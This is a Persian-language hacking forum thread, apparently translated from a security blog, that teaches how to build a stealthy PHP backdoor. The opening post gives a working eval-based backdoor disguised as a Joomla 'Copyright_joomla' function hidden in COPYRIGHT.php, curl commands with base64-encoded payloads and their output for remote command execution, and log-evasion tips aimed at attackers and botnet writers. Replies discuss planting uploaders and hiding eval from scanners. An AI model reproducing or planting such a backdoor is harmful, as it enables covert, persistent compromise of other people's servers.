اطلاعیه

Collapse
No announcement yet.

ساخت یک بکدور حرفه ای

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • ساخت یک بکدور حرفه ای

    کد های مخرب هر چند کوچک میتوانند بسیار خطرناک تر از آنچه باشند که ما تصور میکنیم ! ما هر روز در انجام وظایف روزانه با انها خواسته یا ناخواسته روبرو میشویم , بسیاری از انها مبتنی بر وب هستند که بر اندازه و تاثیر تخریب متفاوت عمل میکنند شناسایی برخی از آنها بسیار آسان بوده و به راحتی رد گیری میشوند اما امروز میخواهیم بر تکنیکی تمرکز کنیم که به راحتی قابل رد گیری نباشد تا اجازه نگاه داشتن دسترسی خود به مدت طولانی از سرور های خاص خودمون داشته باشیم.

    در این بحث وارد بحث بکدور یا همون در پشتی خواهیم شد در ابتدا باید بدونیم که بکدور یا در پشتی چه کاری انجام میده ...

    بکدور ها ابزار یا برنامه هایی هستند که نفوذگر ها برای حفظ دسترسی بر روی سیستم های کلاینت , سرور ها و یا داخل سایت ها استفاده میکنند.

    حالا توجه شما رو به کد زیر جلب میکنم:
    کد PHP:
    <? php
    Copyright_joomla();
    function Copyright_joomla(){
    static $gnu = true;
    if(!$gnu) return;
    if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
    $gpl=implode('', $_REQUEST['gnu']);
    eval ($gpl( $_REQUEST['c_id']));
    $gnu=false;
    }
    میتونیم از این کد که توضیح خواهم داد به چه شکله و چیکار میکنه یک بکدور بسازیم.

    اما ابتدا باید دنبال یکی از فایل های خود پرتال باشیم تا کدمون رو توش جا بدیم

    گام اول فریب

    میتوتین در جوملا 1.5 از فایل COPYRIGHT.php استفاده کنیم برای رسیدن به اهدافمون اما این فایل چیست و محتویاتش چیه؟!
    کد:
    /**
    * @version $Id: COPYRIGHT.php 14401 2010-01-26 14:10:00Z louis $
    * @package Joomla
    * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
    * @license GNU/GPL, see LICENSE.php
    * Joomla! is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    */
    
    defined('_JEXEC') or die('Restricted access');
    
    Joomla! derives from copyrighted works licensed under the GNU General
    Public License. This version has been modified pursuant to the
    GNU General Public License as of September 15, 2005, and as distributed,
    it includes or is derivative of works licensed under the GNU General
    Public License or other free or open source software licenses. Please
    see the CREDITS.php for a non-exhaustive list of contributors and
    copyright holders. A full text version of the GNU GPL version 2 can be
    found in the LICENSE.php file. A full text version of the other licenses
    that Joomla! is derivative of or includes can be found in LICENSES.php
    .


    چطوری میتونیم ازش استفاده کنیم برمیگردیم به کد خودمون:
    کد PHP:
    Copyright_joomla();
    function 
    Copyright_joomla(){
    static 
    $gnu true;
    if(!
    $gnu) return;
    if(!isset(
    $_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
    $gpl=implode('',$_REQUEST['gnu']);
    eval (
    $gpl($_REQUEST['c_id']));
    $gnu=false;

    اگه شما یکphp کار باشید مطمئنا میتونید سورس رو بخونید و متوجه بشید

    بله دقیقا این همون تابعی است که باهاش کار خواهیم کرد :

    کد PHP:
     eval ($gpl($_REQUEST['c_id'])); 
    ارزیابی و اجرای کد با فانکشن Eval

    خوب این کد دقیقا کد مخرب ماست که به نفوذگر اجازه اجرای کد رو از راه دور و به آسانی میده

    تو خط

    کد PHP:
    eval ($gpl($_REQUEST['c_id'])); 
    سناریوی کامل برای تزریق کد ها اماده شده برای استفاده میشه به این ترتیب عمل کرد

    کد PHP:
    eval (system(CMD)); 
    از فانکشن system برای گرفتن خط فرمان







    کد PHP:
    eval (passthru(CMD)); 
    و همینطور از فانکشن passthru در صورتی که بسته نباشن.



    با یک مثال کد خطرناک اونو نشون میدم:

    ------------------------------------------------------
    root@core:~$ echo "system('uname -a; id');"|base 64
    ------------------------------------------------------
    خروجیش میشه

    ------------------------------------------------------
    c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK
    ------------------------------------------------------
    و اجرای دستورات از راه دور :

    ------------------------------------------------------
    root@core:~$ curl -s -d "gnu[]=base64_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKT sK" "http://ajaxtm.org/COPYRIGHT.php"
    Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 2040 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
    uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
    ------------------------------------------------------
    یا میتونید بدون کد کردن دستورتون اجراش کنید

    ------------------------------------------------------
    rodrigo@core:~$ curl -s -d "gnu[]=system&c_id=uname -a;id" "http://192.168.0.1/COPYRIGHT.php"
    Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 2040 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
    uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
    ------------------------------------------------------
    حالا میرسیم به جایی که مهم ترین نکته این بحث توش نهفته شده

    میریم سراغ مانیتورینگ

    اگر با این روش عمل کنیم محتوای لاگ های ایجاد شده روی سرور به این صورت خواهد بود :
    ajaxtm.org - - [31/Jul/2013:00:00:21 -0700] "POST /COPYRIGHT.php HTTP/1.1" 200 378 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
    شاید با خودتون بگین که میتونیستیم با $_GET به راحتی این کار رو انجام بدیم ولی با این تفاوت که به راحتی مورد شناسایی میشدین لاگ های بر روی سرور به این صورت دیده میشه
    ajaxtm.org - - [31/Jul/2013:00:00:08 -0700] "POST /COPYRIGHT.php?c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTs K HTTP/1.1" 200 368 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
    شخصه مانیتورکننده با اولین نگاه میتونه بفمه که یه خبر هایی در حال وقوعه .



    میشه نتیجه گرفت که یکم خلاقیت میتونه خیلی تاثیر به سزایی در همه جا به یک نفوذگر بکنه.

    حالا بهترین استفاده از این مورد به نظرتون کجاست ؟!

    یک باتنت نویس خوب همیشه به این فکر میکنه که چطوری میتونه زامبی هاشو از دید صاحب سرور و سایت دور نگه داره ...

    این روش میتونه کمک به سزایی در این زمینه بکنه.

    موفق باشید


    آنا یوردوم آذربایجان

    فقط در برابر یک نفر زانو میزنم



    Home : www.Ajaxtm.Org

  • #2
    http://blog.sucuri.net/2013/08/open-...r-gnu-gpl.html

    اینو من 2 هقته پیش خوندم بسیار جالب بود, مرسی که ترجمه کردی برا عموم کیوان

    Comment


    • #3
      به ندرت اتقاق میفته که مدیر سرور بیاد فانکشن هایی مثه system رو باز بزاره
      من به شخصه هر جا بخوام بکدور بکارم یه آپلودر با قابلیت تغییر مسیر میزارم
      ! Security is never Complete

      Comment


      • #4
        ممنون یاشار جان مطالب جالب ببینم شیر میکنم اگه لازم باشه ترجمه هم میکنم برای عموم
        البته اگه از نظر شما مشکلی نداشته باشه ...
        Last edited by HUrr!c4nE; 08-28-2013, 12:46 PM.


        آنا یوردوم آذربایجان

        فقط در برابر یک نفر زانو میزنم



        Home : www.Ajaxtm.Org

        Comment


        • #5
          نوشته اصلی توسط Ako0ri نمایش پست ها
          به ندرت اتقاق میفته که مدیر سرور بیاد فانکشن هایی مثه system رو باز بزاره
          من به شخصه هر جا بخوام بکدور بکارم یه آپلودر با قابلیت تغییر مسیر میزارم
          می شه یه مثال واسه آپلودر با قابلیت تغییر مسیر بزنی؟

          Comment


          • #6
            دوستان راهی رو میشناسید که بشه eval رو دیکد کرد و باز هم اجرا بشه ؟ الان من خودم اگر بخوام اسکریپتی رو بررسی کنم اولین کارم سرچ دنبال eval هست
            مثلا
            eval(gzinflate(base64_decode($code)))
            این eval کار رو خراب میکنه

            Comment

            Working...
            X